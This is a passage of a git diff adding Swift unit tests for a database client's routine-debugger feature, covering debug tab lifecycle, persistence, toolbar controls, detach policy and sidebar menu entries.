+            target: PluginDebugTarget(identity: "1", name: "f", schema: nil, kindDisplayName: "Function"),
+            entryPoints: [PluginDebugEntryPoint(identity: "1", displayName: "f()", parameters: [])],
+            mayWrite: false,
+            options: options
+        )
+    }
+
+    private var protocolField: ConnectionField {
+        ConnectionField(
+            id: "protocol",
+            label: "Protocol",
+            defaultValue: "jdwp",
+            fieldType: .dropdown(options: [
+                .init(value: "jdwp", label: "JDWP"),
+                .init(value: "dbms", label: "DBMS_DEBUG"),
+            ])
+        )
+    }
+
+    private var hostField: ConnectionField {
+        ConnectionField(
+            id: "host",
+            label: "Debugger Host",
+            defaultValue: "10.0.0.5",
+            visibleWhen: FieldVisibilityRule(fieldId: "protocol", values: ["jdwp"])
+        )
+    }
+
+    @Test("A start option shows only while the option it depends on has a matching value")
+    func optionFollowsItsVisibilityRule() {
+        let model = RoutineDebugStartModel(plan: plan(options: [protocolField, hostField]), rememberedOption: { _ in nil })
+
+        #expect(model.isVisible(hostField))
+        model.setOption("dbms", for: "protocol")
+        #expect(!model.isVisible(hostField))
+    }
+
+    @Test("A hidden start option is not sent with the request")
+    func hiddenOptionIsNotSent() {
+        let model = RoutineDebugStartModel(plan: plan(options: [protocolField, hostField]), rememberedOption: { _ in nil })
+
+        model.setOption("dbms", for: "protocol")
+
+        #expect(model.choice()?.optionValues == ["protocol": "dbms"])
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugTabTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugTabTests.swift
new file mode 100644
index 0000000000..7006795fd8
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugTabTests.swift
@@ -0,0 +1,292 @@
+//
+//  RoutineDebugTabTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import TableProTestSupport
+import Testing
+
+// A debug tab holds a live session: every way it can go away stops that session first, and none of the app's outside surfaces see it.
+@MainActor
+@Suite(.serialized)
+struct RoutineDebugTabTests {
+    private func openDebugTab(
+        in fixture: CoordinatorFixture,
+        session: FakeDebugSession = FakeDebugSession(),
+        drivers: DebugDriverLog = DebugDriverLog(),
+        startBehavior: FakeStartBehavior = .immediate
+    ) -> (tabId: UUID, controller: RoutineDebugController) {
+        let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers, startBehavior: startBehavior)
+        let tabId = UUID()
+        RoutineDebugSessions.shared.register(controller, tabId: tabId, connectionId: fixture.connection.id)
+        fixture.tabManager.addRoutineDebugTab(
+            id: tabId,
+            title: QueryTabManager.routineDebugTitle(for: "order_total"),
+            databaseName: "app",
+            schemaName: "public"
+        )
+        return (tabId, controller)
+    }
+
+    @Test("A debug tab is titled for its routine from the moment it opens")
+    func titleIsRightFromCreation() {
+        let fixture = CoordinatorFixture()
+        let (tabId, controller) = openDebugTab(in: fixture)
+        defer { RoutineDebugSessions.shared.endSession(forTab: tabId) }
+
+        let tab = fixture.tabManager.tabs.first { $0.id == tabId }
+        #expect(tab?.tabType == .routineDebug)
+        #expect(tab?.title == String(format: String(localized: "Debug %@"), "order_total"))
+        #expect(fixture.tabManager.selectedTabId == tabId)
+        #expect(fixture.coordinator.frontRoutineDebugController === controller)
+        let payload = EditorTabPayload(connectionId: UUID(), tabType: .routineDebug, tabTitle: " ")
+        #expect(!WindowTitleResolver.resolveTitle(payload: payload, databaseType: .postgresql, queryLanguageName: nil).isBlank)
+    }
+
+    @Test("Closing a debug tab stops its session and closes every driver it opened")
+    func closingTheTabStopsTheSession() async throws {
+        let fixture = CoordinatorFixture()
+        let session = FakeDebugSession()
+        let drivers = DebugDriverLog()
+        let (tabId, controller) = openDebugTab(in: fixture, session: session, drivers: drivers)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        fixture.coordinator.closeTabsByUser(ids: [tabId])
+        await controller.waitUntilEnded()
+
+        #expect(session.stopCount == 1)
+        #expect(drivers.openedCount == 2)
+        #expect(drivers.closedCount == 2)
+        #expect(RoutineDebugSessions.shared.controller(forTab: tabId) == nil)
+        #expect(!RecentlyClosedTabStore.shared.entries.contains { $0.tab.id == tabId })
+    }
+
+    @Test("Closing a debug tab while its run is still starting cancels the start and closes its drivers")
+    func closingTheTabWhileStarting() async throws {
+        let fixture = CoordinatorFixture()
+        let drivers = DebugDriverLog()
+        let (tabId, controller) = openDebugTab(in: fixture, drivers: drivers, startBehavior: .untilCancelled)
+        controller.start()
+        try await waitUntil { drivers.openedCount == 2 }
+
+        fixture.coordinator.closeTabsByUser(ids: [tabId])
+        try await waitUntil { controller.hasEnded }
+
+        #expect(drivers.closedCount == 2)
+        #expect(!fixture.tabManager.tabs.contains { $0.id == tabId })
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("Tearing the window down stops the sessions of its debug tabs")
+    func teardownStopsTheSession() async throws {
+        let fixture = CoordinatorFixture()
+        let session = FakeDebugSession()
+        let (_, controller) = openDebugTab(in: fixture, session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        fixture.coordinator.teardown()
+        await controller.waitUntilEnded()
+
+        #expect(session.stopCount == 1)
+    }
+
+    @Test("Stopping a connection's sessions waits for each target to end")
+    func stopAllForConnection() async throws {
+        let fixture = CoordinatorFixture()
+        let session = FakeDebugSession()
+        let (tabId, controller) = openDebugTab(in: fixture, session: session)
+        defer { RoutineDebugSessions.shared.endSession(forTab: tabId) }
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        let other = UUID()
+        await RoutineDebugSessions.shared.stopAll(connectionId: other)
+        RoutineDebugSessions.shared.reopenAdmission(for: other)
+        #expect(session.stopCount == 0)
+        await RoutineDebugSessions.shared.stopAll(connectionId: fixture.connection.id)
+        RoutineDebugSessions.shared.reopenAdmission(for: fixture.connection.id)
+
+        #expect(session.stopCount == 1)
+        #expect(controller.hasEnded)
+    }
+
+    @Test("Turning the module off closes every debug tab and stops its session")
+    func moduleOffClosesDebugTabs() async throws {
+        let fixture = CoordinatorFixture()
+        fixture.coordinator.registerEagerly()
+        let session = FakeDebugSession()
+        let (tabId, controller) = openDebugTab(in: fixture, session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+        try #require(!AppModuleSettings.shared.isEnabled(.routineDebugger))
+
+        NotificationCenter.default.post(name: .appModulesDidChange, object: AppModule.routineDebugger)
+        try await waitUntil { !fixture.tabManager.tabs.contains { $0.id == tabId } }
+        await controller.waitUntilEnded()
+
+        #expect(session.stopCount == 1)
+        #expect(RoutineDebugSessions.shared.controller(forTab: tabId) == nil)
+    }
+
+    @Test("A debug tab refuses a move to another connection")
+    func debugTabRefusesAMove() {
+        let fixture = CoordinatorFixture()
+        let (tabId, _) = openDebugTab(in: fixture)
+        defer { RoutineDebugSessions.shared.endSession(forTab: tabId) }
+
+        #expect(!fixture.coordinator.canMoveTabToConnection(tabId))
+    }
+
+    @Test("A debug tab is never written with the connection's tabs")
+    func debugTabIsNotPersisted() async {
+        let persistence = TabPersistenceCoordinator(connectionId: UUID())
+        persistence.markObservedTabs()
+        defer { TabDiskActor.clearSync(connectionId: persistence.connectionId) }
+        let query = QueryTab(title: "Query 1", query: "SELECT 1", tabType: .query)
+        let debug = QueryTab(title: "Debug order_total", tabType: .routineDebug)
+
+        persistence.saveNowSync(tabs: [query, debug], selectedTabId: debug.id)
+        let state = await TabDiskActor.shared.load(connectionId: persistence.connectionId)
+
+        #expect(state?.tabs.map { $0.id } == [query.id])
+        #expect(state?.selectedTabId == query.id)
+    }
+
+    @Test("A window holding only a debug tab writes nothing over the saved tabs")
+    func onlyDebugTabWritesNothing() async {
+        let persistence = TabPersistenceCoordinator(connectionId: UUID())
+        persistence.markObservedTabs()
+        defer { TabDiskActor.clearSync(connectionId: persistence.connectionId) }
+
+        persistence.saveNowSync(tabs: [QueryTab(title: "Debug f", tabType: .routineDebug)], selectedTabId: nil)
+
+        #expect(await TabDiskActor.shared.load(connectionId: persistence.connectionId) == nil)
+    }
+
+    @Test("Closing the last saved tab while a debug tab stays open clears the saved tabs")
+    func closingLastSavedTabBesideDebugTabClears() async {
+        let fixture = CoordinatorFixture()
+        fixture.coordinator.registerEagerly()
+        fixture.coordinator.persistence.markObservedTabs()
+        defer { TabDiskActor.clearSync(connectionId: fixture.connection.id) }
+        let query = fixture.addTab(QueryTab(title: "Query 1", query: "SELECT 1", tabType: .query))
+        fixture.coordinator.persistence.saveNowSync(tabs: [query], selectedTabId: query.id)
+        let (tabId, _) = openDebugTab(in: fixture)
+        defer { RoutineDebugSessions.shared.endSession(forTab: tabId) }
+
+        fixture.coordinator.closeTabsByUser(ids: [query.id])
+
+        #expect(await TabDiskActor.shared.load(connectionId: fixture.connection.id) == nil)
+    }
+
+    @Test("MCP clients never see a debug tab")
+    func debugTabIsLeftOutOfMCPSnapshots() {
+        let fixture = CoordinatorFixture()
+        fixture.coordinator.registerEagerly()
+        let query = fixture.addTab(QueryTab(title: "Query 1", query: "SELECT 1", tabType: .query))
+        let (tabId, _) = openDebugTab(in: fixture)
+        defer { RoutineDebugSessions.shared.endSession(forTab: tabId) }
+
+        let snapshots = MCPTabSnapshotProvider.collectTabSnapshots()
+
+        #expect(snapshots.contains { $0.tabId == query.id })
+        #expect(!snapshots.contains { $0.tabId == tabId })
+    }
+
+    @Test("AppleScript has no tab kind for a debug tab")
+    func debugTabHasNoScriptingKind() {
+        let tab = QueryTab(title: "Debug f", tabType: .routineDebug)
+
+        #expect(ScriptEnumerations.code(for: .routineDebug) == nil)
+        #expect(ScriptTab(tab: tab, connectionId: UUID(), container: nil) == nil)
+    }
+
+    @Test("The debugger dials its dedicated drivers on the frozen database with no query timeout")
+    func liveSourceOpensWithoutQueryTimeout() async throws {
+        let requested = TimeoutLog()
+        let plugin = FakeDebugDriver()
+        let connectionId = UUID()
+        let source = RoutineDebugSessionSource.live(
+            scope: DatabaseScope(connectionId: connectionId, database: "sales", schema: nil),
+            generation: RoutineDebugSessions.shared.admissionGeneration(for: connectionId)
+        ) { scope, timeout in
+            requested.record(timeout, database: scope.database)
+            return PluginDriverAdapter(connection: TestFixtures.makeConnection(), pluginDriver: plugin)
+        }
+
+        let driver = try await source.openSession()
+        await source.closeAll()
+
+        #expect(requested.values == [0])
+        #expect(requested.databases == ["sales"])
+        #expect(driver === plugin)
+    }
+
+    @Test("Debug… from a sidebar row keeps that row's database and schema, not the one being browsed")
+    func sidebarPickKeepsTheRowsDatabase() {
+        let fixture = CoordinatorFixture()
+        let routine = RoutineInfo(name: "order_total", kind: .function, schema: "public", identity: "16431")
+
+        let pick = fixture.coordinator.routineDebugPick(
+            for: RoutineDebugFixtures.target,
+            routine: routine,
+            database: "sales",
+            schema: "reporting"
+        )
+
+        #expect(fixture.coordinator.browseDatabaseName != "sales")
+        #expect(pick?.scope.database == "sales")
+        #expect(pick?.scope.schema == "reporting")
+        #expect(pick?.scope.connectionId == fixture.connection.id)
+    }
+
+    @Test("A debug tab stays in sight when the sidebar moves to another database, and keeps the database it runs in")
+    func debugTabStaysVisibleAcrossContainers() {
+        let manager = QueryTabManager(containerTarget: .database, visibleContainer: "sales")
+        var query = QueryTab(title: "Query 1", query: "SELECT 1", tabType: .query)
+        query.tableContext.databaseName = "sales"
+        manager.tabs.append(query)
+        let debugId = manager.addRoutineDebugTab(title: "Debug order_total", databaseName: "sales", schemaName: "public")
+
+        manager.show(container: "hr")
+
+        #expect(manager.visibleTabs.map { $0.id } == [debugId])
+        #expect(manager.tabs.first { $0.id == debugId }?.tableContext.databaseName == "sales")
+        manager.show(container: "sales")
+        #expect(Set(manager.visibleTabs.map { $0.id }) == [query.id, debugId])
+    }
+
+    @Test("A payload never opens a debug tab, which needs a live session")
+    func payloadOpensNoDebugTab() {
+        let manager = QueryTabManager()
+        let payload = EditorTabPayload(connectionId: UUID(), tabType: .routineDebug, tabTitle: "Debug f")
+
+        EditorTabOpener.apply(payload, to: manager, connection: TestFixtures.makeConnection(), toolbarState: nil)
+
+        #expect(manager.tabs.isEmpty)
+    }
+}
+
+private final class TimeoutLog: @unchecked Sendable {
+    private let lock = NSLock()
+    private var recorded: [Int] = []
+    private var dialed: [String] = []
+
+    var values: [Int] { lock.withLock { recorded } }
+    var databases: [String] { lock.withLock { dialed } }
+
+    func record(_ timeout: Int, database: String) {
+        lock.withLock {
+            recorded.append(timeout)
+            dialed.append(database)
+        }
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugToolbarTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugToolbarTests.swift
new file mode 100644
index 0000000000..07a89bd7c0
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugToolbarTests.swift
@@ -0,0 +1,187 @@
+//
+//  RoutineDebugToolbarTests.swift
+//  TableProTests
+//
+
+import AppKit
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct RoutineDebugToolbarTests {
+    private static let pair = Set(MainWindowToolbar.debugDefaultItemIdentifiers)
+
+    private static func hidden(
+        tabKind: TabType?,
+        contentMode: ConnectionWorkspaceContentMode = .browse,
+        showsDebugItems: Bool = true
+    ) -> Set<NSToolbarItem.Identifier> {
+        let context = ToolbarContext(
+            tabKind: tabKind,
+            contentMode: contentMode,
+            pane: .content,
+            isConnected: true,
+            hasSelectedWorkspace: true,
+            supportsContainerSwitching: true,
+            showsDebugItems: showsDebugItems
+        )
+        return ToolbarContextResolver.visibility(for: context.visibilityKey).hidden
+    }
+
+    @Test("Continue and Stop sit ahead of the Actions pull-down, and only while the module is on")
+    func defaultSetPlacesThePair() throws {
+        let withDebug = MainWindowToolbar.defaultItems(includingDebugItems: true)
+        let actions = try #require(withDebug.firstIndex(of: MainWindowToolbar.actions))
+
+        #expect(Array(withDebug[(actions - 2)..<actions]) == MainWindowToolbar.debugDefaultItemIdentifiers)
+        #expect(MainWindowToolbar.defaultItems(includingDebugItems: false) == MainWindowToolbar.defaultItemIdentifiers)
+    }
+
+    @Test("Every other tab kind and Agent mode take the debug pair out of the titlebar", arguments: [
+        TabType.query, .table, .createTable, .erDiagram, .serverDashboard, .usersRoles, .insights, .objectSource,
+        .versionHistory, .tableListing,
+    ])
+    func otherKindsHideThePair(tabKind: TabType) {
+        #expect(Self.hidden(tabKind: tabKind).isSuperset(of: Self.pair))
+        #expect(Self.hidden(tabKind: .routineDebug, contentMode: .agent).isSuperset(of: Self.pair))
+    }
+
+    @Test("A debug tab shows its pair in place of Refresh and the commit control")
+    func debugTabSwapsTheContentRun() {
+        let hidden = Self.hidden(tabKind: .routineDebug)
+
+        #expect(hidden.isDisjoint(with: Self.pair))
+        #expect(hidden.contains(MainWindowToolbar.refresh))
+        #expect(hidden.contains(MainWindowToolbar.saveChanges))
+    }
+
+    @Test("A debug tab stays within the titlebar's eight hit targets")
+    func debugTabKeepsTheCeiling() {
+        let hidden = Self.hidden(tabKind: .routineDebug)
+        let targets: [NSToolbarItem.Identifier] = [
+            .toggleSidebar, MainWindowToolbar.connection, MainWindowToolbar.database, MainWindowToolbar.refresh,
+            MainWindowToolbar.saveChanges, MainWindowToolbar.actions, MainWindowToolbar.safeMode, MainWindowToolbar.inspector,
+        ] + MainWindowToolbar.debugDefaultItemIdentifiers
+
+        #expect(targets.filter { !hidden.contains($0) }.count <= 8)
+    }
+
+    @Test("With the module off nothing of the debugger is hidden, because nothing of it is there")
+    func moduleOffHidesNothingDebug() {
+        let hidden = Self.hidden(tabKind: .table, showsDebugItems: false)
+
+        #expect(hidden.isDisjoint(with: MainWindowToolbar.debugItemIdentifiers))
+        #expect(ToolbarContextResolver.hideableItems(showsDebugItems: false) == ToolbarContextResolver.hideableIdentifiers)
+    }
+
+    @Test("Each debug control answers from what the selected run can do")
+    func controlsFollowTheRun() {
+        let context = ToolbarContext(
+            tabKind: .routineDebug,
+            pane: .content,
+            isConnected: true,
+            hasSelectedWorkspace: true,
+            showsDebugItems: true,
+            debugCommands: [.stepOver],
+            canStopDebugging: true
+        )
+
+        #expect(ToolbarContextResolver.isEnabled(MainWindowToolbar.debugStepOver, context: context))
+        #expect(!ToolbarContextResolver.isEnabled(MainWindowToolbar.debugContinue, context: context))
+        #expect(!ToolbarContextResolver.isEnabled(MainWindowToolbar.debugStepOut, context: context))
+        #expect(ToolbarContextResolver.isEnabled(MainWindowToolbar.debugStop, context: context))
+        #expect(!ToolbarContextResolver.isEnabled(MainWindowToolbar.debugStop, context: ToolbarContext(tabKind: .table)))
+    }
+
+    // A restored arrangement: the app's own items, without spaces, on a private identifier that never autosaves.
+    private static func restoredToolbar(
+        including extra: [NSToolbarItem.Identifier] = [],
+        moduleOn: Bool,
+        record: ToolbarDebugItemsRecord
+    ) -> (owner: MainWindowToolbar, toolbar: NSToolbar) {
+        let toolbar = NSToolbar(identifier: "com.TablePro.tests.debug.\(UUID().uuidString)")
+        toolbar.autosavesConfiguration = false
+        let owner = MainWindowToolbar(managedToolbar: toolbar)
+        owner.debugItemsEnabled = { moduleOn }
+        owner.debugItemsRecord = record
+        owner.isInWindow = { true }
+        let placed = [
+            MainWindowToolbar.connection, MainWindowToolbar.database, MainWindowToolbar.refresh,
+            MainWindowToolbar.saveChanges,
+        ] + extra + [MainWindowToolbar.actions, MainWindowToolbar.safeMode]
+        for (index, identifier) in placed.enumerated() {
+            toolbar.insertItem(withItemIdentifier: identifier, at: index)
+        }
+        return (owner, toolbar)
+    }
+
+    @Test("The first window after launch with the module on gains Continue and Stop in a customized arrangement, once")
+    func attachAfterModuleOnGainsThePair() throws {
+        let storage = try EphemeralDefaults()
+        let record = ToolbarDebugItemsRecord(defaults: storage.defaults)
+        #expect(!record.isApplied)
+        let (owner, toolbar) = Self.restoredToolbar(moduleOn: true, record: record)
+
+        owner.reconcileDebugItems()
+
+        let identifiers = toolbar.items.map { $0.itemIdentifier }
+        let actions = identifiers.firstIndex(of: MainWindowToolbar.actions) ?? 0
+        #expect(actions >= 2)
+        #expect(Array(identifiers[max(0, actions - 2)..<actions]) == MainWindowToolbar.debugDefaultItemIdentifiers)
+        #expect(ToolbarDebugItemsRecord(defaults: storage.defaults).isApplied)
+
+        let (laterOwner, laterToolbar) = Self.restoredToolbar(moduleOn: true, record: record)
+        laterOwner.reconcileDebugItems()
+        #expect(!laterToolbar.items.contains { MainWindowToolbar.debugItemIdentifiers.contains($0.itemIdentifier) })
+    }
+
+    @Test("With the module off, a saved arrangement holding the debug controls shows none of them")
+    func moduleOffHidesSavedPair() throws {
+        let storage = try EphemeralDefaults()
+        let record = ToolbarDebugItemsRecord(defaults: storage.defaults)
+        record.record(true)
+        let (owner, toolbar) = Self.restoredToolbar(
+            including: MainWindowToolbar.debugDefaultItemIdentifiers,
+            moduleOn: false,
+            record: record
+        )
+
+        owner.reconcileDebugItems()
+
+        #expect(!toolbar.items.contains { MainWindowToolbar.debugItemIdentifiers.contains($0.itemIdentifier) })
+        #expect(!record.isApplied)
+    }
+
+    @Test("Step controls added from the palette leave the titlebar off a debug tab and in Agent mode")
+    func paletteStepsHideOffDebugTabs() {
+        let steps: Set<NSToolbarItem.Identifier> = [
+            MainWindowToolbar.debugStepOver, MainWindowToolbar.debugStepInto, MainWindowToolbar.debugStepOut,
+        ]
+
+        #expect(Self.hidden(tabKind: .table).isSuperset(of: steps))
+        #expect(Self.hidden(tabKind: .routineDebug, contentMode: .agent).isSuperset(of: steps))
+        #expect(Self.hidden(tabKind: .routineDebug).isDisjoint(with: steps))
+        #expect(Self.hidden(tabKind: .table, showsDebugItems: false).isDisjoint(with: steps))
+    }
+
+    @Test("The delegate vends the debug controls only while the module is on, fresh each time")
+    func delegateGatesOnTheModule() {
+        let owner = MainWindowToolbar()
+        owner.debugItemsEnabled = { false }
+        for identifier in MainWindowToolbar.debugItemIdentifiers {
+            #expect(owner.toolbar(owner.managedToolbar, itemForItemIdentifier: identifier, willBeInsertedIntoToolbar: true) == nil)
+        }
+        #expect(owner.toolbarAllowedItemIdentifiers(owner.managedToolbar) == MainWindowToolbar.allowedItemIdentifiers)
+
+        owner.debugItemsEnabled = { true }
+        for identifier in MainWindowToolbar.debugItemIdentifiers {
+            let first = owner.toolbar(owner.managedToolbar, itemForItemIdentifier: identifier, willBeInsertedIntoToolbar: true)
+            let second = owner.toolbar(owner.managedToolbar, itemForItemIdentifier: identifier, willBeInsertedIntoToolbar: false)
+            #expect(first != nil && second != nil && first !== second, "\(identifier.rawValue)")
+        }
+        let allowed = Set(owner.toolbarAllowedItemIdentifiers(owner.managedToolbar))
+        #expect(allowed.isSuperset(of: owner.toolbarDefaultItemIdentifiers(owner.managedToolbar)))
+        #expect(allowed.isSuperset(of: MainWindowToolbar.debugItemIdentifiers))
+    }
+}
diff --git a/apple/TableProTests/Core/Scripting/ScriptingDictionaryTests.swift b/apple/TableProTests/Core/Scripting/ScriptingDictionaryTests.swift
index 503b061bd8..bcbacfbea0 100644
--- a/apple/TableProTests/Core/Scripting/ScriptingDictionaryTests.swift
+++ b/apple/TableProTests/Core/Scripting/ScriptingDictionaryTests.swift
@@ -353,8 +353,10 @@ struct ScriptingDictionaryTests {
             TabType.query, .table, .createTable, .erDiagram,
             .serverDashboard, .usersRoles, .insights, .objectSource, .versionHistory, .tableListing
         ] {
-            #expect(declared.contains(ScriptEnumerations.code(for: kind)), "no enumerator for \(kind)")
+            let code = try #require(ScriptEnumerations.code(for: kind), "no code for \(kind)")
+            #expect(declared.contains(code), "no enumerator for \(kind)")
         }
+        #expect(ScriptEnumerations.code(for: .routineDebug) == nil)
         for color in ConnectionColor.allCases {
             #expect(declared.contains(ScriptEnumerations.code(for: color)), "no enumerator for \(color)")
         }
diff --git a/apple/TableProTests/Core/Services/EditorTabConnectionMovePolicyTests.swift b/apple/TableProTests/Core/Services/EditorTabConnectionMovePolicyTests.swift
index b2cb2ecc0d..8417537ccf 100644
--- a/apple/TableProTests/Core/Services/EditorTabConnectionMovePolicyTests.swift
+++ b/apple/TableProTests/Core/Services/EditorTabConnectionMovePolicyTests.swift
@@ -17,7 +17,7 @@ struct EditorTabConnectionMovePolicyTests {
     @Test("Every other tab type names an object of its own connection and stays")
     func nonQueryTabsStay() {
         for tabType in [TabType.table, .createTable, .erDiagram, .serverDashboard, .usersRoles, .insights,
-                        .objectSource, .versionHistory, .tableListing] {
+                        .objectSource, .versionHistory, .tableListing, .routineDebug] {
             #expect(!EditorTabConnectionMovePolicy.canMove(tabType: tabType, isBusy: false, hasPendingGridEdits: false))
         }
     }
diff --git a/apple/TableProTests/Core/Services/EditorTabDetachPolicyTests.swift b/apple/TableProTests/Core/Services/EditorTabDetachPolicyTests.swift
index 6b3c1349be..949abc306b 100644
--- a/apple/TableProTests/Core/Services/EditorTabDetachPolicyTests.swift
+++ b/apple/TableProTests/Core/Services/EditorTabDetachPolicyTests.swift
@@ -11,29 +11,48 @@ import Testing
 struct EditorTabDetachPolicyTests {
     @Test("A tab among others, with nothing pending, on a live connection, can be detached")
     func ordinaryTabDetaches() {
-        #expect(EditorTabDetachPolicy.canDetach(tabCount: 3, hasUnsavedWork: false, isBusy: false, isConnected: true))
+        #expect(EditorTabDetachPolicy.canDetach(
+            tabType: .query,
+            tabCount: 3,
+            hasUnsavedWork: false,
+            isBusy: false,
+            isConnected: true
+        ))
     }
 
-    /// Moving the only tab would empty this window and fill an identical one, which is what
-    /// `Move Connection to New Window` already does and says.
     @Test("The last tab has nowhere to go")
     func lastTabDoesNotDetach() {
-        #expect(!EditorTabDetachPolicy.canDetach(tabCount: 1, hasUnsavedWork: false, isBusy: false, isConnected: true))
-        #expect(!EditorTabDetachPolicy.canDetach(tabCount: 0, hasUnsavedWork: false, isBusy: false, isConnected: true))
+        #expect(!EditorTabDetachPolicy.canDetach(
+            tabType: .query,
+            tabCount: 1,
+            hasUnsavedWork: false,
+            isBusy: false,
+            isConnected: true
+        ))
+        #expect(!EditorTabDetachPolicy.canDetach(
+            tabType: .query,
+            tabCount: 0,
+            hasUnsavedWork: false,
+            isBusy: false,
+            isConnected: true
+        ))
     }
 
-    /// Detaching carries the `QueryTab` and nothing the coordinator holds beside it, so a tab with
-    /// work that has not been written yet would arrive in the new window with that work gone.
     @Test("A tab holding unsaved work is refused")
     func unsavedWorkBlocksDetach() {
-        #expect(!EditorTabDetachPolicy.canDetach(tabCount: 3, hasUnsavedWork: true, isBusy: false, isConnected: true))
+        #expect(!EditorTabDetachPolicy.canDetach(
+            tabType: .query,
+            tabCount: 3,
+            hasUnsavedWork: true,
+            isBusy: false,
+            isConnected: true
+        ))
     }
 
-    /// A running query or table load is claimed by the coordinator that started it. Moving the tab
-    /// leaves the completion with no tab to write into, and the new window fetches the page again.
     @Test("A tab with work in flight is refused")
     func busyTabDoesNotDetach() {
         #expect(!EditorTabDetachPolicy.canDetach(
+            tabType: .query,
             tabCount: 3,
             hasUnsavedWork: false,
             isBusy: true,
@@ -41,10 +60,25 @@ struct EditorTabDetachPolicyTests {
         ))
     }
 
-    /// The new window adopts the live session. There is nothing for it to adopt while the
-    /// connection is down, and it would open onto the not-connected pane.
     @Test("A disconnected connection has no session for the new window to adopt")
     func disconnectedBlocksDetach() {
-        #expect(!EditorTabDetachPolicy.canDetach(tabCount: 3, hasUnsavedWork: false, isBusy: false, isConnected: false))
+        #expect(!EditorTabDetachPolicy.canDetach(
+            tabType: .query,
+            tabCount: 3,
+            hasUnsavedWork: false,
+            isBusy: false,
+            isConnected: false
+        ))
+    }
+
+    @Test("A debug tab stays in the window that opened it")
+    func routineDebugTabDoesNotDetach() {
+        #expect(!EditorTabDetachPolicy.canDetach(
+            tabType: .routineDebug,
+            tabCount: 3,
+            hasUnsavedWork: false,
+            isBusy: false,
+            isConnected: true
+        ))
     }
 }
diff --git a/apple/TableProTests/Models/KeyboardShortcutTests.swift b/apple/TableProTests/Models/KeyboardShortcutTests.swift
index a04c453dc9..de69dc81c7 100644
--- a/apple/TableProTests/Models/KeyboardShortcutTests.swift
+++ b/apple/TableProTests/Models/KeyboardShortcutTests.swift
@@ -225,7 +225,7 @@ struct BareKeyValidationTests {
 
     @Test("Every bare-key default belongs to an action that allows bare keys")
     func bareKeyDefaultsAreAllowed() {
-        for (action, key) in KeyboardSettings.defaultShortcuts where !key.hasModifier {
+        for (action, key) in KeyboardSettings.defaultShortcuts where !key.hasModifier && !key.isFunctionKey {
             #expect(action.allowsBareKey, "\(action.rawValue) ships a bare-key default but does not allow bare keys")
         }
     }
diff --git a/apple/TableProTests/Models/ShortcutUniquenessTests.swift b/apple/TableProTests/Models/ShortcutUniquenessTests.swift
index 9fd6e7c176..2b49c46e85 100644
--- a/apple/TableProTests/Models/ShortcutUniquenessTests.swift
+++ b/apple/TableProTests/Models/ShortcutUniquenessTests.swift
@@ -59,6 +59,7 @@ struct ShortcutUniquenessTests {
             .showTablesList, .showFavoritesList,
             .newAgentSession, .openAgentSession, .closeAgentSession, .deleteAgentSession, .newAIConversation,
             .showPreviousWindowTab, .showNextWindowTab,
+            .toggleBreakpoint,
         ]
         let unbound = Set(ShortcutAction.allCases.filter { KeyboardSettings.defaultShortcuts[$0] == nil })
         let unlisted = unbound.subtracting(listed).map(\.rawValue).sorted()
diff --git a/apple/TableProTests/Views/Sidebar/DatabaseTreeMenuSpecTests+Debug.swift b/apple/TableProTests/Views/Sidebar/DatabaseTreeMenuSpecTests+Debug.swift
new file mode 100644
index 0000000000..99749f3bb5
--- /dev/null
+++ b/apple/TableProTests/Views/Sidebar/DatabaseTreeMenuSpecTests+Debug.swift
@@ -0,0 +1,84 @@
+import Foundation
+import TableProPluginKit
+import Testing
+
+@testable import TablePro
+
+extension DatabaseTreeMenuSpecTests {
+    private var debugRoutineRef: DatabaseTreeRoutineRef {
+        DatabaseTreeRoutineRef(
+            database: "app",
+            schema: "public",
+            routine: RoutineInfo(
+                name: "order_total",
+                kind: .function,
+                schema: "public",
+                argumentSignature: "(integer)",
+                language: "plpgsql"
+            )
+        )
+    }
+
+    private var debugTarget: PluginDebugTarget {
+        PluginDebugTarget(identity: "16431", name: "order_total", schema: "public", kindDisplayName: "Function")
+    }
+
+    @Test("A routine the driver can debug offers Debug… alone in a last section, after Show DDL")
+    func debugSitsAfterShowDDL() throws {
+        let ref = debugRoutineRef
+        var debuggable = context(clicked: .routine(ref))
+        debuggable.canDebugRoutine = true
+        let sections = DatabaseTreeMenuSpec.sections(for: debuggable)
+
+        try #require(sections.count == 3)
+        #expect(commands([sections[1]]) == [.showObjectSource(ref.objectRef)])
+        #expect(commands([sections[2]]) == [.debugRoutine(ref)])
+        let item = try #require(sections.last?.items.first)
+        guard case .command(let entry) = item else {
+            Issue.record("Debug… is not a command")
+            return
+        }
+        #expect(entry.title == String(localized: "Debug…"))
+    }
+
+    @Test("A routine nothing can debug keeps its two sections")
+    func noDebugWithoutATarget() {
+        let ref = debugRoutineRef
+        let sections = DatabaseTreeMenuSpec.sections(for: context(clicked: .routine(ref)))
+
+        #expect(sections.count == 2)
+        #expect(!commands(sections).contains(.debugRoutine(ref)))
+    }
+
+    @Test("Debug… asks the module before the driver, and only for a routine row")
+    @MainActor
+    func debugAvailabilityAsksTheModuleFirst() throws {
+        let suite = try EphemeralDefaults()
+        let modules = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter())
+        let ref = debugRoutineRef
+        let target = debugTarget
+        var asked: [RoutineInfo] = []
+
+        let whileOff = DatabaseTreeMenuContext.canDebugRoutine(.routine(ref), modules: modules) {
+            asked.append($0)
+            return target
+        }
+        #expect(!whileOff)
+        #expect(asked.isEmpty)
+
+        modules.setEnabled(true, for: .routineDebugger)
